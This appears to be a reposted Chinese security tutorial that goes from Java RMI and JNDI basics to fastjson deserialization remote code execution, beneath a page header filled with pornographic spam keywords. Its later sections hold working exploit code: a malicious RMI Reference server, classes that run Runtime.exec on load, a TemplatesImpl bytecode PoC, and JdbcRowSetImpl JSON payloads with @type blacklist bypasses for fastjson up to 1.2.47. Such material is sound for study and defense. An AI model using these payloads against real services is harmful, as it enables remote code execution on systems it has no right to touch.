日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

fastjson反序列化过滤字段属性_原创干货 | 从RMI入门到fastjson反序列化RCE

發布時間:2024/7/23 编程问答 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 fastjson反序列化过滤字段属性_原创干货 | 从RMI入门到fastjson反序列化RCE 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
關注我,讓我成為你的專屬小太陽吧

RMI入門

什么是RMI

RMI(Remote Method Invocation)為遠程方法調用,是允許運行在一個Java虛擬機的對象調用運行在另一個Java虛擬機上的對象的方法。這兩個虛擬機可以是運行在相同計算機上的不同進程中,也可以是運行在網絡上的不同計算機中,它的底層是由socketjava序列化和反序列化支撐起來的。

Java RMI:Java遠程方法調用,即Java RMI(Java Remote Method Invocation)是Java編程語言里,一種用于實現遠程過程調用的應用程序編程接口。它使客戶機上運行的程序可以調用遠程服務器上的對象。遠程方法調用特性使Java編程人員能夠在網絡環境中分布操作。RMI全部的宗旨就是盡可能簡化遠程接口對象的使用。

我們知道遠程過程調用(Remote Procedure Call, RPC)可以用于一個進程調用另一個進程(很可能在另一個遠程主機上)中的過程,從而提供了過程的分布能力。Java 的 RMI 則在 RPC 的基礎上向前又邁進了一步,即提供分布式對象間的通訊。

那么會引出以下幾個問題?

1.遠程對象的發現問題

在調用遠程對象的方法之前需要一個遠程對象的引用,如何獲得這個遠程對象的引用在RMI中是一個關鍵的問題?

答案:在我們日常使用網絡時,基本上都是通過域名來定位一個網站,但是實際上網絡是通過IP地址來定位網站的,因此其中就需要一個映射的過程,域名系統(DNS)就是為了這個目的出現的,在域名系統中通過域名來查找對應的IP地址來訪問對應的服務器。那么對應的,IP地址在這里就相當于遠程對象的引用,而DNS則相當于一個注冊表(Registry)。而域名在RMI中就相當于遠程對象的標識符,客戶端通過提供遠程對象的標識符訪問注冊表,來得到遠程對象的引用。這個標識符是類似URL地址格式的,也就是后面我們所說的RMIRegistry

2.數據的傳遞問題

我們都知道在Java程序中引用類型(不包括基本類型)的參數傳遞是按引用傳遞的,對于在同一個虛擬機中的傳遞時是沒有問題的,因為的參數的引用對應的是同一個內存空間,但是對于分布式系統中,由于對象不再存在于同一個內存空間,虛擬機A的對象引用對于虛擬機B沒有任何意義,問題如何解決?

當客戶端通過RMI注冊表找到一個遠程接口的時候,所得到的其實是遠程接口的一個動態代理對象。當客戶端調用其中的方法的時候,方法的參數對象會在序列化之后,傳輸到服務器端。服務器端接收到之后,進行反序列化得到參數對象。并使用這些參數對象,在服務器端調用實際的方法。調用的返回值Java對象經過序列化之后,再發送回客戶端。客戶端再經過反序列化之后得到Java對象,返回給調用者。這中間的序列化過程對于使用者來說是透明的,由動態代理對象自動完成。

RMI的通信模型

從方法調用角度來看,RMI要解決的問題,是讓客戶端對遠程方法的調用可以相當于對本地方法的調用而屏蔽其中關于遠程通信的內容,即使在遠程上,也和在本地上是一樣的。

形象理解:實際上,客戶端只與代表遠程主機中對象的Stub對象進行通信,絲毫不知道Server的存在。客戶端只是調用Stub對象中的本地方法,Stub對象是一個本地對象,它實現了遠程對象向外暴露的接口,也就是說它的方法和遠程對象暴露的方法的簽名是相同的。客戶端認為它是調用遠程對象的方法,實際上是調用Stub對象中的方法。可以理解為Stub對象是遠程對象在本地的一個代理,當客戶端調用方法的時候,Stub對象會將調用通過網絡傳遞給遠程對象。

RMI遠程調用步驟(圖解)

1、客戶對象調用客戶端輔助對象上的方法

2、客戶端輔助對象打包調用信息(變量,方法名),通過網絡發送給服務端輔助對象

3、服務端輔助對象將客戶端輔助對象發送來的信息解包,找出真正被調用的方法以及該方法所在對象

4、調用真正服務對象上的真正方法,并將結果返回給服務端輔助對象

5、服務端輔助對象將結果打包,發送給客戶端輔助對象

6、客戶端輔助對象將返回值解包,返回給客戶對象

7、客戶對象獲得返回值

簡單的實現

package main;import java.rmi.Remote;import java.rmi.RemoteException;public interface HelloService extends Remote { // Remote method should throw RemoteException public String service(String data) throws RemoteException;}package main;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class HelloServiceImpl extends UnicastRemoteObject implements HelloService { private static final long serialVersionUID = 1L; private String name; public HelloServiceImpl(String name) throws RemoteException { super(); this.name = name; // UnicastRemoteObject.exportObject(this, 0); } @Override public String service(String data) throws RemoteException { return data + name; }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;public class Server { public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); HelloService service1 = new HelloServiceImpl("service1"); Naming.rebind("rmi://localhost:1099/HelloService1",service1); } catch (RemoteException | MalformedURLException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("Successfully register a remote object."); }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.RemoteException;public class Client { public static void main(String[] args) { // TODO Auto-generated method stub String url = "rmi://localhost:1099/"; try { HelloService serv = (HelloService) Naming.lookup(url + "HelloService1"); String data = "This is RMI Client."; System.out.println(serv.service(data)); } catch (RemoteException e) { e.printStackTrace(); } catch (NotBoundException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } }}

總結一句:Java RMI是專為Java環境設計的遠程方法調用機制,遠程服務器實現具體的Java方法并提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法并獲取執行結果,使分布在不同的JVM中的對象的外表和行為都像本地對象一樣。

從代碼中我們可以看出,遠程接口中的所有方法必須聲明它們可以引發異常 java.rmi.RemoteException 。RemoteException當發生任何類型的網絡錯誤時,都會引發此異常(實際上是的許多子類之一 ):例如,服務器可能崩潰,網絡可能會失敗,或者您可能由于某種原因而請求一個不可用的對象。

攻擊RMI服務端

抓包

既然傳輸的時候需要經過序列化及反序列化,這要求相應的類必須實現 java.io.Serializable 接口,然而代碼里面沒看到?

請看如下:

作用

總結一句:Java RMI是專為Java環境設計的遠程方法調用機制,遠程服務器實現具體的Java方法并提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法并獲取執行結果,使分布在不同的JVM中的對象的外表和行為都像本地對象一樣。

JNDI入門

什么是JNDI?

JNDI(Java Naming and Directory Interface),名為 Java命名和目錄接口,JNDI是Java API,允許客戶端通過名稱發現和查找數據、對象。這些對象可以存儲在不同的命名或目錄服務中,例如遠程方法調用(RMI),公共對象請求代理體系結構(CORBA),輕型目錄訪問協議(LDAP)或域名服務(DNS)。放兩張直觀的圖

使用JNDI的好處

JNDI自身并不區分客戶端和服務器端,也不具備遠程能力,但是被其協同的一些其他應用一般都具備遠程能力,JNDI在客戶端和服務器端都能夠進行一些工作,客戶端上主要是進行各種訪問,查詢,搜索,而服務器端主要進行的是幫助管理配置,也就是各種bind。比如在RMI服務器端上可以不直接使用Registry進行bind,而使用JNDI統一管理,當然JNDI底層應該還是調用的Registry的bind,但好處JNDI提供的是統一的配置接口;在客戶端也可以直接通過類似URL的形式來訪問目標服務,可以看后面提到的JNDI動態協議轉換。把RMI換成其他的例如LDAP、CORBA等也是同樣的道理。

小小的Demo

package learnjndi;import java.io.Serializable;import java.rmi.Remote;public class Person implements Remote,Serializable { private static final long serialVersionUID = 1L; private String name; private String password; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String toString(){ return "name:"+name+" password:"+password; }}package learnjndi;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.naming.spi.NamingManager;public class test { public static void initPerson() throws Exception{ //配置JNDI工廠和JNDI的url和端口。如果沒有配置這些信息,會出現NoInitialContextException異常 LocateRegistry.createRegistry(3001); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001"); 初始化 InitialContext ctx = new InitialContext(); //實例化person對象 Person p = new Person(); p.setName("Decade"); p.setPassword("xiaobai"); //person對象綁定到JNDI服務中,JNDI的名字叫做:person,即我們可以通過person鍵值,來對Person對象進行索引 ctx.bind("person", p); ctx.close(); } public static void findPerson() throws Exception{ //因為前面已經將JNDI工廠和JNDI的url和端口已經添加到System對象中,這里就不用在綁定了 InitialContext ctx = new InitialContext(); //通過lookup查找person對象 Person person = (Person) ctx.lookup("person"); //打印出這個對象 System.out.println(person.toString()); ctx.close(); } public static void main(String[] args) throws Exception { initPerson(); findPerson(); }}

在運行的一瞬間,可以看到確實開放了3001端口

用Debug的狀態來看

JNDI協議動態轉換

在開始談JNDI注入之前,先談一談為什么會引起JNDI注入。上面的Demo里面,在初始化就預先指定了其上下文環境(RMI),但是在調用 lookup() 時,是可以使用帶 URI 動態的轉換上下文環境,例如上面已經設置了當前上下文會訪問 RMI 服務,那么可以直接使用 RMi的 URI 格式去轉換(該變)上下文環境,使之訪問 RMI 服務上的綁定對象:

Person person = (Person) ctx.lookup("rmi://localhost:3001/person");

JNDI注入

可以看到得到同樣的效果,但是如果這個lookup參數我們可以控制呢?

這里由于jdk版本(java1.8.231)過高,導致的沒有攻擊成功,這里為了簡便用的是marshalsec反序列化工具

低版本測試?

這里選用的是jd k1.7.17版本。

import javax.naming.Context;import javax.naming.InitialContext;public class CLIENT { public static void main(String[] args) throws Exception { String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri); }}import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class SERVER { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'"); registry.bind("aa", refObjWrapper); }}import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import javax.print.attribute.standard.PrinterMessageFromOperator;public class ExecTest { public ExecTest() throws IOException,InterruptedException{ String cmd="whoami"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); }}

一步一步跟蹤,可以看到這里如果是Reference類的話,進入var.getReference(),與RMI服務器進行一次連接,獲取到遠程class文件地址,如果是普通RMI對象服務,這里不會進行連接,只有在正式遠程函數調用的時候才會連接RMI服務。

最終調用了GetObjectInsacne函數,跟蹤到如下,這里有兩處可以實現任意命令執行,分別是兩處標紅的代碼。

可以看到最后用newInstance實例化了類,實例化會默認調用構造方法、靜態代碼塊,那么也就執行了我們的whoami命令

當然這里會報錯,那么我們修改一下ExecTest類的寫法。

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class ExecTest implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) { exec("calc"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return ""; } public static void main(String[] args) { exec("123"); }}

至于為什么要重寫getObjectInstance方法,是因為這里用到的第二處可以任意命令執行的地方,如下圖所示,就不會報錯了。這就是整個jndi的一個實現過程。

JNDI的條件與限制

條件一:我們需要服務端存在以下代碼,并且uri可控

String uri = "rmi://127.0.0.1:1099/aa";Context ctx = new InitialContext();ctx.lookup(uri);

條件二:jdk版本

可以看到要實現JNDI注入的話jdk版本需要符合一定條件,具體到哪個版本之后不能使用呢,筆者由于時間有限,并沒一個一個測,如果有師傅愿意嘗試的話可以去研究一下,當然這里也有限制

柳暗花明又一村

最先其實也說了,我們JNDI其實類似于一個api,而我測的代碼也僅僅就只有rmi服務,我們下面測試一下ladp服務,當然也同樣為了簡便,用的是marshalsec反序列化工具,這里測試的jdk版本為jdk1.7.17

相對來說ldap使用范圍更廣,如下圖所示

fastjson反序列化-RCE

簡介

fastjson是alibaba開源的一款高性能功能完善的JSON庫,項目鏈接https://github.com/alibaba/fastjson/。

前置知識

import com.alibaba.fastjson.JSON;import java.util.Properties;public class User { public String name; private int age; private Boolean sex; private Properties prop; public User(){ System.out.println("User() is called"); } public void setAge(int age){ System.out.println("setAge() is called"); this.age = age; } public int getAge(){ System.out.println("getAge() is called"); return 1; } public void setName(String aa){ System.out.println("setName() is called"); this.name=aa; } public String getName(){ System.out.println("getName() is called"); return this.name; } public void setSex(boolean a){ System.out.println("setSex() is called"); this.sex = a; } public Boolean getSex(){ System.out.println("getSex() is called"); return this.sex; } public Properties getProp(){ System.out.println("getProp() is called"); return this.prop; } public void setProp(Properties a){ System.out.println("setProp() is called"); this.prop=a; } public String toString(){ String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex; return s; } public static void main(String[] args){ String jsonstr = "{\"@type\":\"User\", \"name\":\"Tom\", \"age\": 1, \"prop\": {}, \"sex\": 1}"; System.out.println("=========JSON.parseObject======"); Object obj1 = JSON.parseObject(jsonstr); System.out.println("=========JSON.parseObject指定類======"); Object obj3 = JSON.parseObject(jsonstr,User.class); System.out.println("=========JSON.parse======"); Object obj2 = JSON.parse(jsonstr); }}

這段代碼就是在模擬Json字符串轉換成User對象的過程,執行結果為:

@type用來指定Json字符串還原成哪個類對象,在反序列化過程中里面的一些函數被自動調用,Fastjson會根據內置策略選擇如何調用這些函數,在文件com.alibaba.fastjson.util.JavaBeanInfo中有定義,簡化如下

對于set函數主要有這幾個條件:

1、方法名長度大于等于4 ?methodName.length() >= 42、方法名以set開頭 method.getParameterTypes()2、方法不能為靜態方法 ?!Modifier.isStatic(method.getModifiers())3、方法的類型為void或者為類自身的類型 ?(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))4、參數個數為1 method.getParameterTypes()==1

對于get函數主要有這幾個條件:

1、方法名長度大于等于4 ? methodName.length() >= 42、方法名以get開頭且第四個字母為大寫 methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))3、方法不能為靜態方法 !Modifier.isStatic(method.getModifiers())4、方法不能有參數 method.getParameterTypes().length == 05、方法的返回值必須為Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong之一 (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())

謹記:

public修飾符的屬性會進行反序列化賦值,private修飾符的屬性不會直接進行反序列化賦值,而是會調用setxxx(xxx為屬性名)的函數進行賦值。

getxxx(xxx為屬性名)的函數會根據函數返回值的不同,而選擇被調用或不被調用。

在此之前請多加本地fuzz,這是理解fastjson的前置知識。

fastjson的安全特性

  • 無參默認構造方法或者注解指定

  • Feature.SupportNonPublicField才能打開非公有屬性的反序列化處理

  • @type可以指定反序列化任意類,(具體情況)調用其set,get方法

基于TemplatesImpl(1.2.22-1.2.24適用)

poc

適用范圍:1.2.22-1.2.24

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;public class TemplatesImplPoc { public static String readClass(String cls) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String evilClassPath = System.getProperty("user.dir") + "\\src\\main\\java\\Test.class"; System.out.println(evilClassPath); String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //assertEquals(Model.class, obj.getClass()); } public static void main(String args[]) { try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } }}import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); }}//pom.xml加上如下幾個依賴 <dependency> <groupId>commons-codecgroupId> <artifactId>commons-codecartifactId> <version>1.10version> dependency> <dependency> <groupId>xalangroupId> <artifactId>xalanartifactId> <version>2.7.2version> dependency> <dependency> <groupId>commons-iogroupId> <artifactId>commons-ioartifactId> <version>2.3version> dependency>

基于JdbcRowSetImpl(<1.2.24)

poc

import com.alibaba.fastjson.JSON;public class JdbcRowSetImplPoc { public static void main(String[] args) { String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}

基于JdbcRowSetImpl(1.2.25<=fastjson<=1.2.41)

poc

利用條件之一,需要開啟autoType

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}

基于JdbcRowSetImpl(1.2.25<=fastjson<=1.2.42)

poc

利用條件之一,需要開啟autoType

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}

基于JdbcRowSetImpl(fastjson<=1.2.47)

poc

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json = "{" + " \"a\": {" + " \"@type\": \"java.lang.Class\", " + " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"" + " }, " + " \"b\": {" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", " + " \"dataSourceName\": \"ldap://localhost:1099/ExecTest\", " + " \"autoCommit\": true" + " }" + "}"; JSON.parse(json); }}

掃碼關注

有趣的靈魂在等你

總結

以上是生活随笔為你收集整理的fastjson反序列化过滤字段属性_原创干货 | 从RMI入门到fastjson反序列化RCE的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。